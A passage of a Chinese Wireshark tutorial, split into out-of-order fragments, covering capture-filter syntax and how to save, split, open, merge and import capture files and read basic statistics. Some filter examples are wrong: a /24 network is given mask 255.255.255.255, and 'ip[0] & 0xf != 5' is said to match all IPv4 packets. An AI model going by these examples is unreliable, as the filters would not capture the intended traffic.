在菜单栏中，依次选择“捕获”|“选项”命令，打开“捕获接口”对话框，如图2.51所示。 图2.51 “捕获接口”对话框 在该对话框的“所选择接口的捕获过滤器”文本框中，可以指定使用的捕获过滤器。或者，用户双击“捕获过滤器”列中的文本框，也可以指定捕获过滤器。用户可以在任意一处指定，但是两处将同时显示指定的捕获过滤器，如图2.52所示。 图2.52 指定捕获过滤器"},
    {"text": "未知 2.4.2 基于类型过滤 Wireshark可以基于类型进行捕获过滤。其中，可能使用的类型有主机host、网段net、端口port、端口范围portrange和特殊类型。下面将分别介绍基于这几种类型的捕获过滤器语法。 1.主机host host用来指定捕获某主机发送和接收的数据包。语法格式如下： host host 以上语法中，第一个host表示过滤器类型为host；第二个host表示主机的地址，可以是IPv4或IPv6地址。例如，过滤主机192.168.1.100的数据包，其捕获过滤器如下： host 192.168.1.100 【实例2-11】 捕获主机192.168.1.3的数据包。具体操作步骤如下： （1）启动Wireshark并选择以太网捕获接口，然后指定捕获过滤器，如图2.53所示。 图2.53 选择接口并指定捕获过滤器 （2）单击开始捕获分组按钮 ，将开始捕获数据包，如图2.54所示。 （3）从标题栏中可以看到正在捕获的接口及使用的捕获过滤器。而且，从捕获的包中可以看到所有数据包都是由主机192.168.1.3发送和接收的。 图2.54 正在捕获数据包 2.网段net net用来指定捕获哪个网段主机的数据包。其中，指定网络类型的过滤器有3种形式，分别是net net、net mask和net IP/mask。 （1）net net形式 使用net net形式指定网段时，第一个net是关键字，第二个net表示指定的网段。其中，使用net指定网段的IP地址时，可以写入完整的由点分隔的四组IP地址、三组地址、两组地址或一组地址。例如，IPv4地址192.168.1.0网段可以使用以下4组方式： net 192.168.1.0 #对应掩码255.255.255.255 net 192.168.1 #对应掩码255.255.255.0 net 192.168 #对应掩码255.255.0.0 net 192 #对应掩码255.0.0.0 （2）net mask形式 使用net mask形式将单独指定IP地址和掩码。例如，指定192.168.1.0网段。其语法格式如下： net 192.168.1.0 mask 255.255.255.255 （3）net CIDR形式 为了简化用户的输入，可以使用CIDR形式表示网段。例如，同样指定192.168.1.0网段，其语法格式如下： net 192.168.1.0/24 3.端口port port用来指定捕获某端口发送和接收的数据包。语法格式如下： port port 以上语法中，第一个port表示过滤器类型为port；第二个port用来指定捕获的端口号。例如，指定捕获端口80的数据包。则语法格式如下： port 80 4.端口范围portrange portrange用来指定某个某端口范围发送和接收的数据包。语法格式如下： portrange port1-port2 以上语法中，portrange表示过滤器类型；port1表示起始端口号；port2表示结束端口号。例如，捕获端口1～100范围的数据包，则语法格式如下： portrange 1-100 5.特殊类型 Wireshark还提供了一个特殊类型gateway。其中，使用该类型表示捕获源或目标为指定以太网地址的包，但是源或目标IP地址不是指定主机的数据包。使用gateway类型的语法格式如下： gateway host 该捕获过滤器相当于以下表达式： ether host ehost and not host host 例如，捕获主机snup的数据包，则语法格式如下： gateway snup 提示： 在Wireshark默认的配置下，不支持使用该类型的捕获过滤器。"},
    {"text": "未知 2.4.3 基于传输方向过滤 传输方向表示数据包的传输方向，如源和目标。其中，基于传输方向过滤的类型有源src、目标dst、源或者目标src or dst、源和目标src and dst等。下面将介绍基于传输方向的捕获过滤器。 1.源src src表示只捕获源地址为指定主机或端口的数据包。用户可以在host、net、port和portrange类型前面添加src，表示只捕获源为指定主机、网段、端口或端口范围的数据包。语法格式如下： src host host #仅捕获源地址为指定主机的数据包 src net net #仅捕获源地址为指定网段的数据包 src port port #仅捕获源端口为指定端口的数据包 src portrange port1-port2 #仅捕获源端口范围为指定端口范围的数据包 2.目标dst dst表示只捕获目标地址为指定主机或端口的数据包。用户同样可以在host、net、port和portrange类型前面添加dst，表示只捕获目标为指定主机、网段、端口和端口范围的数据包。语法格式如下： dst host #仅捕获目标地址为指定主机的数据包 dst net #仅捕获目标地址为指定网段的数据包 dst port #仅捕获目标端口为指定端口的数据包 dst portrange port1-port2 #仅捕获目标端口范围为指定端口范围的数据包 3.源或者目标src or dst src or dst表示捕获源或目标为指定主机的数据包，也就是来自某主机发送或接收的所有数据包。用户同样可以在host、net、port和portrange类型前面添加src or dst来指定捕获过滤器。语法格式如下： src or dst host src or dst net src or dst port src or dst portrange port1-port2 4.源和目标src and dst src and dst表示捕获源和目标都为指定主机的数据包，也就是仅捕获某主机发送和接收的数据包。用户同样可以在host、net、port和portrange类型前面添加src and dst来指定捕获过滤器。语法格式如下： src and dst host src and dst net src and dst port src and dst portrange port1-port2 5.特殊方向 前面4种情况是常见的传输方向过滤器。另外还有两种特殊方向捕获过滤器，分别是广播broadcast和多播multicast。这两种特殊方向的捕获过滤器语法格式如下： ether broadcast #捕获以太网广播流量 ip broadcast #捕获IP广播流量 ether multicast #捕获以太网多播流量 ip multicast #捕获IPv4多播流量 ip6 multicast #捕获IPv6多播流量 【实例2-12】 捕获IPv4多播数据包。具体操作步骤如下： （1）启动Wireshark工具并在开始界面选择接口指定捕获过滤器ip multicast，如图2.55所示。 图2.55 指定捕获过滤器 （2）这里选择了以太网接口，并指定捕获过滤器ip multicast。然后，单击开始捕获分组按钮 即可捕获对应的数据包，如图2.56所示。 图2.56 捕获的数据包 （3）从分组列表中的Destination（目标地址）列可以看到，捕获的所有包地址都为239.255.255.250（多播地址）。 未知 2.4.4 基于协议过滤 Wireshark支持基于协议进行过滤。其中，指定协议的格式有协议名、协议链、IPv4和IPv6协议、ether协议。下面将介绍基于协议的捕获过滤器的语法格式。 1.协议 用户可以直接指定协议过滤器进行过滤。语法格式如下： proto Wireshark支持使用的协议捕获过滤器如表2.2所示。 表2.2 支持的协议过滤器 当用户使用协议捕获过滤器时，对于一些协议还可以指定传输方向。 ·ether src ehost：捕获源地址为指定以太网地址的数据包。 ·ether dst ehost：捕获目标地址为指定以太网地址的数据包。 ·ether host ehost：捕获指定以太网地址的数据包。 ·tcp src port port：捕获TCP协议源端口为指定端口的数据包。 ·ether proto protocol：表示捕获以太网协议类型的包。指定的协议可以为协议名或协议编号。其中，指定的协议名可以是ip、ip6、arp、rarp、atalk、aarp、decnet、sca、lat、mopdl、moprc、iso、stp、ipx或netbeui。 2.协议链 用户还可以使用协议链protochain来指定捕获过滤器。使用协议链的语法格式如下： protochain protocol 以上语法表示捕获指定协议类型为IPv4或IPv6的包。 3.IPv4和IPv6 IPv4和IPv6是指根据IP协议进行过滤。用户可以通过协议名或协议编号来指定捕获过滤的协议。可使用的捕获过滤器语法格式如下： ·ip proto protocol：捕获协议类型为IPv4协议的包。其中，指定的协议有icmp、icmp6、igmp、igrp、pim、ah、esp、vrrp、udp或tcp。当用户使用关键字作为值时，需要使用反斜杠（\\）。例如，ip proto\\icmp与关键字icmp相同，表示将捕获ICMP协议的包。 ·ip6 proto protocol：捕获协议类型为IPv6协议的包。 ·ip6 protochain protocol：捕获IPv6协议包。 ·ip protochain protocol：该捕获过滤器和ip6 protochain protocol捕获过滤器是相同的，但是该捕获过滤器指的是IPv4。 ·ip broadcast：捕获IP广播包。 4.ether协议 ether proto表示捕获以太网协议类型的包。其中，可指定的协议名如表2.3所示。注意，当用户使用关键字作为值时，需要使用反斜杠（\\）。例如，ether proto\\ip与关键字ip相同，表示以IP协议作为目标。 表2.3 可指定的以太网协议 5.简写形式 Wireshark提供了一种简写形式。其中，使用ehter proto时，ip、ip6、arp、rarp、atalk、aarp、decnet、lat、moprc、mopdl、iso、stp、ipx、netbeui协议可以简写为p，简写后的捕获过滤器语法格式为ether proto p；使用proto时，tcp、udp和icmp协议简写为p，简写后的捕获过滤器语法格式为proto p。"},
    {"text": "未知 2.4.5 基于数据过滤 Wireshark还支持基于数据过滤，用户可以指定数据长度或内容进行过滤。下面将介绍基于数据过滤的语法格式。 1.长度过滤 当用户基于数据过滤时，可以使用less和greater关键字根据数据长度进行过滤。其中，less关键字的语法格式如下： less length 上面的捕获过滤器表示捕获数据包长度小于或等于指定长度length的数据包。等同于以下语法格式： len<=length greater关键字的语法格式如下： greater length 上面的捕获过滤器表示捕获数据包长度大于或等于指定长度length的数据包。等同于以下语法格式： len>=length 2.基于内容过滤 用户还可以使用基于内容的捕获过滤器进行过滤。语法格式如下： proto[expr:size] relop express 以上语法中的参数及含义如下： ·proto：支持的协议值。其中，可使用的协议有ether、fddi、tr、wlan、ppp、slip、link、ip、arp、rarp、tcp、udp、icmp、ip6或radio。 ·expr：指定该协议头的偏移地址。 ·size：指定数据长度。其中，单位为bit。 ·relop：指定使用的运算符。其中，可指定的关系运算符有>、<、>=、<=、=和!=；二进制运算符有+、-、*、/、%、&、|、^、<<和>>。 例如，捕获所有IPv4地址包，语法格式如下： ip[0] & 0xf != 5 未知 2.4.6 使用多个捕获过滤器 当用户捕获数据包时，通过结合逻辑运算符可以同时使用多个捕获过滤器。其中，捕获过滤器支持的逻辑运算符有not(!)、and(&&)和or(||)。其中，not(!)表示非，表示捕获匹配捕获过滤器以外的数据包；and(&&)表示捕获同时匹配指定的多个捕获过滤器数据包；or(||)表示捕获匹配所有指定捕获过滤器的数据包。例如，捕获主机192.168.1.100，而且tcp端口为80的数据包，捕获过滤器语法格式如下： host 192.168.1.100 and tcp port 80 提示： 当用户通过逻辑运算符使用多个捕获过滤器时，not(!)具有最高的优先级。and(&&)和or(||)具有相同的优先级，运算时从左至右进行。例如，捕获过滤器not tcp port 3128 and tcp port 23和(not tcp port 3128)and tcp port 23含义相同；捕获过滤器not tcp port 3128 and tcp port 23和not(tcp port 3128 and tcp port 23)含义不同。 未知 2.4.7 使用预置表达式 使用预置表达式可以将一个捕获过滤器表达式提前添加到捕获过滤器对话框中。当用户使用的时候，只需要输入开头的几个字符，就会提示完整的表达式。其中，预置表达式在一个复杂的捕获过滤器表达式中非常有用。在菜单栏中依次选择“捕获”|“捕获过滤器”命令，打开“捕获过滤器”对话框，如图2.57所示。 图2.57 “捕获过滤器”对话框 在“捕获过滤器”对话框中显示了两列，分别是名称和过滤器表达式。其中，名称可以任意定义，主要是为了方便表示过滤器的含义。该对话框显示了默认的捕获过滤器表达式。如果用户想要添加新的捕获过滤器，则单击左下角创建一个新的过滤器按钮 ，即可添加新的捕获过滤器。 【实例2-13】 添加一个名称为IPv4 address 192.168.1.3 and TCP 80，表达式为host 192.168.1.3 and tcp port 80的捕获过滤器。 （1）在“捕获过滤器”对话框中单击创建一个新的过滤器按钮 ，显示如图2.58所示。 图2.58 新建捕获过滤器 （2）从中可以看到，默认添加了一个名称为“新建捕获过滤器”、语法为ip host host.example.com的捕获过滤器。此时，双击“名称”和“过滤器”文本框，即可修改对应的值。其中，添加的捕获过滤器如图2.59所示。 图2.59 添加的捕获过滤器 （3）单击OK按钮，使配置生效。这样，当用户指定捕获过滤器时，输入一个host关键字，将会自动提示可以使用的预置表达式，如图2.60所示。 图2.60 自动提示的表达式 （4）从捕获过滤器中可以看到自动提示可以使用的捕获过滤器表达式。此时，用户直接选择对应的表达式就可以了，无须再输入一个完整的表达式。 未知 第3章 数据处理 开始抓包后，Wireshark工具就可以捕获到相应的数据。在进行具体分析之前，用户需要对数据进行相应的处理，如保存数据、再次打开数据及快速分析等。本章将详细讲解这几种数据处理的基本方法。 未知 3.1 保存文件 Wireshark工具捕获到数据包后，默认是以临时文件保存的，一旦关闭Wireshark，数据就会丢失。所以，为了方便以后对数据包进行分析，用户可以将捕获的包保存到文件中。用户可以在捕获数据包时，设置自动保存文件，或者在捕获数据包后手动进行保存。本节将介绍保存文件的方法。"},
    {"text": "在菜单栏中，依次选择“捕获”|“选项”命令，打开“捕获接口”对话框，如图3.1所示。 图3.1 “捕获接口”对话框 在“捕获接口”对话框中选择“输出”标签，将显示“输出”选项卡，如图3.2所示。 图3.2 “输出”选项卡 在“输出”选项卡中，可指定保存的捕获文件名、输出格式和保存方式。"},
    {"text": "如果用户长时间抓包，或者捕获接口的流量非常大时，捕获的数据包就会有很多，将生成一个非常大的文件。 由于Wireshark捕获的内容都存放在内存中，如果长时间抓包捕获的数据包文件过大时，可能会使内存溢出，导致程序出现异常，并且当用户分析数据时，打开文件会非常慢，后期过滤和查询也比较费时。"},
    {"text": "·第一个配置项是基于数据包数量进行分卷，默认设置表示每100 000个分组生成一个文件。 ·第二个配置项是基于数据包大小进行分卷，默认设置表示每个文件到1千字节时生成一个文件。 ·第三个配置项是基于捕获时间分卷，默认设置表示每隔1秒生成一个文件。"},
    {"text": "在“捕获”接口对话框中，选择“输出”标签，将显示“输出”选项卡，如图3.7所示。 图3.7 “输出”选项卡 在“输出”选项卡中勾选“使用一个环形缓冲器”复选框，则表示启用环形保存。"},
    {"text": "（1）在菜单栏中依次选择“捕获”|“选项”命令，打开“捕获接口”对话框。 在该对话框中，选择“以太网”捕获接口，然后选择“输出”标签，将打开“输出”选项卡。"},
    {"text": "在菜单栏中，依次选择“编辑”|“首选项”命令，打开“首选项”对话框，如图3.10所示。 图3.10 “首选项”对话框 在该对话框的左侧栏中选择Capture分支，将显示捕获设置对话框，如图3.11所示。"},
    {"text": "图3.11 捕获设置对话框 可以看到，默认启用了“以pcapng格式捕获分组”，表示默认捕获文件的保存格式为pcapng。 如果用户不想要使用该保存格式的话，去掉“以pcapng格式捕获分组”复选框即可。"},
    {"text": "在“捕获接口”对话框中选择“选项”标签，将显示“选项”选项卡，如图3.12所示。 图3.12 “选项”选项卡 在“选项”选项卡中包括三部分选项设置，分别是显示选项、解析名称和“自动停止捕获,在经过…”。"},
    {"text": "在菜单栏中依次选择“文件”|“文件集合”|“列出文件”命令，将打开文件集合对话框，如图3.13所示。 图3.13 文件集合对话框 从图3.13中可以看到临时保存的3个分卷文件。"},
    {"text": "图3.14 第2个分卷文件 如果用户在Wireshark窗口中查看的是中间分卷文件的话，在菜单栏中依次选择“文件”|“文件集合”|“下一文件”或“上一文件”，即可查看下一个或上一个分卷文件。"},
    {"text": "未知 1.1.2 数据传输 数据传输是指数据从网络主机上通过网络线路传输到另外一台网络主机上。当用户了解数据传输的方式后，就知道在哪里可以捕获需要的数据包。通常情况下，用户无法捕获到某主机数据包，往往是抓包的位置不对，数据没有经过捕获的位置。所以，如果要捕获数据包，则必须确定数据是从哪条线路传输，然后将Wireshark放置在该数据传输所经过的设备上。例如，在一个有线局域网中，用户访问百度网站的数据传输线路如图1.1所示。 图1.1 局域网访问百度网站 在该网络中，用户访问百度网站中间就经过一个路由器设备，所有的数据都将由路由器进行转发。所以，此时用户直接在该客户端上启动Wireshark即可捕获到访问百度网站的所有数据包。 例如，在一个城域网中，用户访问百度网站的数据传输线路如图1.2所示。 图1.2 城域网访问百度网站 在该网络中访问百度网站时，主机PC1和PC2分别位于两个不同城市的局域网内。当主机PC1访问百度网站时，经过交换机的VLAN1接口和路由器的f0/0接口到达目的地；主机PC2访问百度网站时，经过交换机的VLAN2接口和路由器的f0/1接口到达目的地。由此可以说明，这两个主机通过两条不同的路线到达目的地。所以，用户在主机PC1上只能捕获到自己访问百度网站的所有数据包，但是无法捕获到主机PC2访问百度网站的数据包。 未知 3.1.2 手动保存文件 当用户捕获数据包后，也可以自己手动保存文件。手动保存可以支持更多的文件格式。其中，用户可以选择保存全部包或者保存部分包。下面分别介绍手动保存文件的方法。 1.保存全部包 保存全部包表示保存捕获到的所有数据包。在菜单栏中依次选择“文件”|“保存”或“文件”|“另存为”命令，即可保存捕获的文件。当用户单击“保存”或“另存为”命令后，将弹出保存文件对话框，如图3.15所示。 图3.15 保存文件对话框 在保存文件对话框中可以指定保存文件的位置、文件名和保存类型。在“保存在”下拉列表框中指定保存的位置；在“文件名”文本框中指定保存的文件名；在“保存类型”下拉列表框中可以选择不同的文件格式。其中，支持保存的类型如表3.1所示。另外，用户在保存时，还可以使用gzip压缩。如果希望使用gzip压缩的话，勾选Compress with gzip复选框。设置完成后，单击“保存”按钮，即可保存捕获的文件。 表3.1 支持的保存类型 【实例3-3】 将全部的数据包保存到桌面，并指定文件名为test，类型为pcap。具体操作步骤如下： （1）启动Wireshark并捕获数据包。然后停止捕获数据包，并在菜单栏中依次选择“文件”|“保存”命令，打开保存文件对话框，如图3.16所示。 （2）在保存文件对话框中选择将捕获文件保存到桌面，文件名为test，保存类型为pcap，效果如图3.17所示。 （3）单击“保存”按钮，即可将捕获的文件保存到test.pcap中。 2.保存部分包 保存部分包用来保存特定分组包，其中包括捕获的和显示的包。在菜单栏中，依次选择“文件”|“导出特定分组”命令，将打开导出特定分组对话框，如图3.18所示。 图3.16 保存文件对话框 图3.17 设置结果 图3.18 导出特定分组对话框 从该对话框中可以看到，包括两类分组，分别是Captured（捕获的）和Displayed（显示的）。默认情况下，捕获的包和显示的包数相同。如果用户使用显示过滤器后，显示的包就和捕获的包数不同了。如果没有使用显示过滤器的话，选择导出捕获（Captured）和显示（Displayed）的包类型是相同的。如果使用显示过滤器，并且保存显示过滤的数据包，则需要选择类型为Displayed。另外，用户还可以指定包范围。其中，可指定的包范围如下： ·All packets：导出所有捕获或显示的包。 ·Selected packet：导出在分组列表中选择的捕获和显示的包。 ·Range：导出指定范围捕获和显示的包。其中，指定的包范围中间使用连字符。如果用户指定多个包范围的话，使用逗号分隔。例如，保存捕获的1～10个数据包，则输入1-10；保存捕获的1～10、20和30分组，则输入1-10,20,30。 当选择保存的部分包后，指定保存的位置、文件名和保存类型，然后单击“保存”按钮即可。其中，支持的保存类型如表3.1所示。 【实例3-4】 导出捕获的1到10、13和15的数据包，并指定保存到桌面，文件名为dump，使用默认的保存类型。具体操作步骤如下： （1）启动Wireshark并捕获数据包。然后停止捕获数据包，并在菜单栏中依次选择“文件”|“导出特定分组”命令，将打开导出特定分组对话框。 （2）在该对话框中设置保存位置为桌面，文件名为dump。然后，单击Captured和Range单选按钮，并在Range文本框中指定要保存的包，效果如图3.19所示。 图3.19 设置效果 （3）单击“保存”按钮，即可导出部分数据包。导出的数据包将保存在桌面的dump.pcapng文件中。 未知 3.2 打开文件 当用户将捕获的文件保存到一个文件中，并再次进行分析时则需要打开该文件。本节将介绍打开抓包文件的方法。"},
    {"text": "未知 3.2.1 打开抓包文件 当启动Wireshark工具后，可以直接打开抓包文件。可以选择想要打开的文件，并且可以快速打开最近的文件。下面介绍打开抓包文件的方法。 1.手动选择打开抓包文件 如果想要打开一个新的抓包文件时，需要手动选择文件进行打开。在菜单栏中，依次选择“文件”|“打开”命令，将显示打开捕获文件对话框，如图3.20所示。 图3.20 打开捕获文件对话框 在该对话框的“查找范围”下拉列表框中选择捕获文件保存的位置，然后在当前查找范围的文件列表中选择要打开的捕获文件名，单击“打开”按钮即可打开对应的捕获文件。 【实例3-5】 打开前面保存在桌面的抓包文件dump.pcapng。具体操作步骤如下： （1）启动Wireshark工具，在菜单栏中依次选择“文件”|“打开”命令，将显示打开捕获文件对话框。 （2）在该对话框中，指定查找范围为“桌面”，并在文件列表中选择抓包文件dump.pcapng，如图3.21所示。 图3.21 选择打开的抓包文件 （3）当用户选择要打开的文件后，“文件名”文本框中将自动显示该文件名。然后单击“打开”按钮，将打开抓包文件dump.pcapng，如图3.22所示。 图3.22 成功打开抓包文件 （4）从标题栏中可以看到，当前打开的捕获文件名为dump.pcapng。由此可以说明，成功打开了抓包文件。 2.打开最近打开的抓包文件 最近抓包文件就是前不久刚访问过的文件。如果用户想要打开最近捕获的文件，通过在在菜单栏中依次选择“文件”|“打开最近”命令，或者在Wireshark开始界面即可快速打开最近的捕获文件。在菜单栏中，依次选择“文件”|“打开最近”命令，将显示最近打开过的捕获文件列表，如图3.23所示。 图3.23 打开最近打开过的文件列表 从列表中可以看到最近访问过的抓包文件。其中，文件名为黑色表示已存在的文件；文件名为灰色则表示无法找到该文件，其文件可能被删除或者移动到其他位置。此时，用户选择对应的文件即可打开最近的抓包文件。如果用户想要删除最近的文件列表，选择“清除菜单”命令即可。 如果用户最近访问过某些捕获文件，当启动Wireshark后，在开始界面也可以看到最近抓包文件列表，如图3.24所示。 图3.24 Wireshark开始界面 从窗口的“打开”部分中可以看到最近访问过的所有抓包文件。此时，双击某抓包文件名，即可打开对应的抓包文件。 【实例3-6】 打开最近打开过的抓包文件dump.pcapng。 （1）启动Wireshark，在菜单栏中依次选择“文件”|“打开最近”命令，即可看到最近的文件列表。 （2）在列表中单击dump.pcapng即可打开该捕获文件，如图3.25所示。 图3.25 成功打开抓包文件 （3）从标题栏中可以看到，当前打开的捕获文件名为dump.pcapng。由此可以说明，成功打开了最近打开过的抓包文件dump.pcapng。 未知 3.2.2 文件属性 当打开一个抓包文件后，即可查看该文件的属性，以了解数据的捕获请求，如时间、接口和过滤器等。另外，还可以为抓包文件添加注释信息，用来更好地标记该文件。在菜单栏中，依次选择“统计”|“捕获文件属性”命令，打开“捕获文件属性”对话框，如图3.26所示。 “捕获文件属性”对话框包括细节和捕获文件描述两部分。其中，细节部分显示了文件的属性，包括文件、时间、捕获、接口和统计5部分信息。每部分可以获取的信息如下： ·文件：了解抓包文件的各种属性，如抓包文件的名称、路径和文件所含数据包的规模等信息。 ·时间：获取抓包的开始、结束和持续时间。 ·捕获：获取抓包文件由哪块网卡生成，以及操作系统版本、Wireshark版本等信息。 ·接口：获取抓包使用的接口、丢包情况及使用的捕获过滤器等。 ·统计：数据包的汇总统计信息，如数据包的总数、数量及占比情况、网速等。 图3.26 “捕获文件属性”对话框 捕获文件描述部分用来为捕获文件添加注释。如果用户想要为捕获文件添加注释的话，可以在“捕获文件描述”文本框中输入注释信息，并单击“保存注释”按钮保存注释信息。 通过以上介绍，用户可以对抓包文件的属性进行分析了。通过查看dump.pcapng捕获文件属性可知，该捕获文件使用的接口为“以太网”；包格式为Wireshark/…-pcapng；文件长度为2301字节；捕获包的总时间为4秒；使用的硬件为Intel(R)Core(TM)i7-2600 CPU@3.40GHz(with SSE4.2)；操作系统类型为Windows 10，64位架构；应用程序为Wireshark 3.0.2；没有使用捕获过滤器等。例如，这里将为该文件添加一个注释，效果如图3.27所示。 图3.27 添加注释信息 单击“保存注释”按钮，即可在细节文本框中增加一个“文件注释”信息，如图3.28所示。 图3.28 成功添加文件注释"},
    {"text": "未知 3.2.3 合并抓包文件 Wireshark还支持将多个抓包文件进行合并。当用户使用自动分卷保存捕获文件后，如果需要分析的包保存在两个分卷文件中的话，为了方便分析，可以将两个分卷文件合并为一个文件。在菜单栏中依次选择“文件”|“合并”命令，将打开合并捕获文件对话框，如图3.29所示。 图3.29 合并捕获文件对话框 在合并捕获文件对话框中，查找并选择要合并的捕获文件，然后单击“打开”按钮，即可合并两个抓包文件。在合并捕获文件之前，用户还可以设置合并的方法。其中，可设置的方法包括Prepend packets to existing file（追加包到已存在文件包的前面）、Merge packets chronologically（按照时间顺序合并数据包）和Append packets exitsing file（追加包到已存在文件包的后面）。默认选择Merge packets chronologically方法，即按照时间顺序合并数据包。如果用户想要使用其他方式合并数据包的话，则选择对应选项的单选按钮即可。 【实例3-7】 将test.pcapng捕获文件合并到dump.pcapng捕获文件中。具体操作步骤如下： （1）打开捕获文件dump.pcapng，如图3.30所示。 图3.30 捕获文件dump.pcapng （2）从状态栏中可以看到，当前捕获文件中有12个分组。在菜单栏中依次选择“文件”|“合并”命令，打开合并捕获文件对话框，如图3.31所示。 图3.31 合并捕获文件对话框 （3）在该对话框中选择捕获文件test.pcapng，并单击“打开”按钮，即可将两个捕获文件中的数据包合并，如图3.32所示。 图3.32 成功合并捕获文件 （4）从状态栏中可以看到，分组数由12变为1179。由此可以说明，成功合并了捕获文件test.pcapng和dump.pcapng。接下来还需要对合并后的文件进行保存。在菜单栏中依次选择“文件”|“保存”命令，即可保存合并后的捕获文件。 未知 3.2.4 导入转储文件 在Wireshark中，用户还可以从Hex转储文件中导入数据包。其中，Wireshark支持读取ASCII hex格式的转储文件，并写入一个临时的Libpcap捕获文件，而且还可以生成虚拟以太网、IP、UDP、TCP或SCTP头。在菜单栏中依次选择“文件”|“从Hex转储导入”命令，打开“从Hex转储文件导入”对话框，如图3.33所示。 在该对话框中包括“导入来源”和“封装”两部分。导入来源部分用来设置导入的文件、偏移量和时间戳格式等。每个参数及含义如下： ·文件：用来指定导入的文本文件。单击“浏览”按钮，即可选择导入的文件。 ·偏移量：指定导入的文本文件偏移量。用户可以设置为十六进制、十进制、八进制和无。默认为十六进制。 ·时间戳格式：用来指定一个时间戳格式，来解析导入文本文件的时间戳。这里可以使用简单的时间戳格式语法，如%H（时）、%M（分）、%S（秒）等；或者直接使用HH:MM:SS格式。 ·方向指示：如果导入的文本文件有方向，则勾选“方向指示”对话框。 ·封装类型：指定导入文件的封装类型。其中，支持的封装类型如表3.2所示。 ·无虚头部：不添加虚拟头。 ·以太网：在每一帧前添加以太网头。 ·IPv4：在每一帧前添加以太网及IPv4头部。 ·UDP：在每一帧前添加以太网、IPv4及UDP头部。 ·TCP：在每一帧前添加以太网、IPv4及TCP头部。 ·SCTP：在每一帧前添加以太网、IPv4及SCTP头。 ·SCTP(Data)：在每一帧前添加以太网、IPv4及SCTP（Data）头部。 ·最大帧长度：导入指定最大帧长度的数据包。 图3.33 “从Hex转储文件导入”对话框 表3.2 支持的封装类型 【实例3-8】 从Hex转储文件test.txt中导入数据到Wireshark。具体操作步骤如下： （1）本例中转储文件test.txt中的输入如下： 000000 00 e0 1e a7 05 6f 00 10 ........ 000008 5a a0 b9 12 08 00 46 00 ........ 000010 03 68 00 00 00 00 0a 2e ........ 000018 ee 33 0f 19 08 7f 0f 19 ........ 000020 03 80 94 04 00 00 10 01 ........ 000028 16 a2 0a 00 03 50 00 0c ........ 000030 01 01 0f 19 03 80 11 01 ........ （2）在菜单栏中依次选择“文件”|“从Hex转储导入”命令，打开“从Hex转储文件导入”对话框。 （3）在该对话框中指定导入的Hex文件为test.txt，并指定该文件的偏移量为十进制，封装类型为Ethernet，无虚头部，然后单击“导入”按钮，即可成功将该文件导入Wireshark，如图3.34所示。 图3.34 导入的数据包 （4）从分组列表中可以看到，成功从转储文件test.txt中导入了一个数据包。 未知 3.3 快速分析 当用户成功打开一个捕获文件后，即可对该捕获文件中的数据包进行分析。本节将介绍对数据包进行快速分析，以获取关联的地址、协议构成和数据包长度等相关内容。"},
    {"text": "未知 3.3.1 关联地址 这里的关联地址是指网络在一些信息上的对应关系，如IP地址对应的主机名；端口对应的服务名；MAC地址对应的生产厂商等。Wireshark提供了一个功能，可以快速分析捕获文件中的关联地址信息。在菜单栏中，依次选择“统计”|“已解析的地址”命令，打开“解析后的地址”对话框，如图3.35所示。 在“解析后的地址”对话框中显示了所有解析后的关联地址信息。由于该图片较大，因此无法截取到所有内容。在该对话框中可以看到解析的主机条目和服务条目。其中，解析后的主机条目有26个，如IP地址61.135.169.121对应的主机名为 www.a.shifen.com ；221.204.20.35对应的主机名为opencdnglobal.jomodns.com；解析后的服务条目有6073个，如eapsp对应TCP/UDP端口2291，apani5对应TCP/UDP端口9164；解析后的以太网地址簿有146个条目，如01:11:1e:00:00:01对应的设备类型为EPLv2_SoC；解析后的以太网制造商共26436个条目，如34:0a:22对应的厂商为Top-Access Electronics Co Ltd，00:08:f3对应的生产厂商为Wany。 图3.35 “解析后的地址”对话框 未知 3.3.2 协议构成 协议构成显示了捕获文件中包括的所有协议。通过分析协议构成，可以知道是否有自己预期的协议。另外，用户还可以通过分析协议构成，判断出捕获到哪些程序包。一些程序使用固定的协议在传输数据，例如，腾讯QQ使用的协议为OICQ，FTP服务器使用的协议为FTP，邮件服务器服务使用SMTP协议等。因此，用户可以根据这些特定协议，推测出目标主机运行的程序。 在菜单栏中，依次选择“统计”|“协议分级”命令，打开“协议分级统计”对话框，如图3.36所示。 图3.36 “协议分级统计”对话框 从“协议分级统计”对话框中可以看到共包括9列，分别为协议、按分组百分比、分组、按字节百分比、字节、比特/秒、“结束分组”、“结束字节”和“结束位/秒”。每列的含义如下： ·协议：数据包所归属的协议名称。 ·按分组百分比：抓包文件中所含数据包个数在每一种协议类型中的占比情况。 ·分组：每一种协议类型数据包的个数。 ·按字节百分比：抓包文件中所含数据包字节数在每一种协议类型中的占比情况。 ·字节：每一种协议类型数据包的字节数。 ·比特/秒：某种协议类型的数据包在抓包时段内的传输速率。 ·结束分组：隶属于该协议类型的数据包的纯粹数量。例如，TCP纯粹指的是TCP头部，之后没有高层协议头部，如HTTP头等。 ·结束字节：隶属于该协议类型的数据包的纯粹字节数。 ·结束位/秒：隶属于该协议类型的数据包在抓包时段内的纯粹传输速率。 当用户了解“协议分级统计”对话框中每列的含义后，即可对捕获文件中的协议进行分析。在图3.36中，当前捕获文件中的协议有Frame（帧）、Ethernet（以太网协议）、Internet Protocol Version 4（IPv4协议）、User Datagram Protocol（UDP协议）、Transmission Control Protocol（TCP协议）、Data（数据）和Address Resolution Protocol（ARP协议）。通过分析可以看到，在UDP协议中包括有Simple service Discovery Protocol（SSDP协议）和OICQ-IM software,popular in China（OICQ协议）。由此可以说明，捕获的目标主机中运行了腾讯QQ。从“按分组百分比”列可以看到，Frame和Ethernet协议的数据包最多，占百分之百。由此可以说明，所有数据包中都包括Frame和Ethernet协议。从“分组”列可以看到，这两种协议总共的包数为1167，即捕获文件中共有1167个分组。 未知 3.3.3 数据包长度 在网络中每个传输的数据包大小都不同。在Wireshark中，用户可以快速分析数据包长度，以了解哪些包比较大。其中，长度最大的数据包中，则可能传输了比较重要的数据。所以，通过分析数据包长度，可知哪些包中传输了数据，哪些是空包。 在菜单栏中依次选择“统计”|“分组长度”命令，将打开分组长度对话框，如图3.37所示。 图3.37 分组长度对话框 在分组长度对话框中共包括9列信息，分别是Topic/Item（标题/项目）、Count（分组数）、Average（平均分组数）、Min val（最小分组长度）、Max val（最大分组长度）、Rate(ms)（速率）、Percent（分组数所占百分比）、Burst rate（突发速率）和Burst start（突发启动时间）。每列的含义如下： ·Topic/Item：显示所有的包长度范围。 ·Count：显示该包长度范围对应的分组数。 ·Average：显示该范围内包长度平均值。 ·Min val：显示该范围内包长度最小值。 ·Max val：显示该范围内包长度最大值。 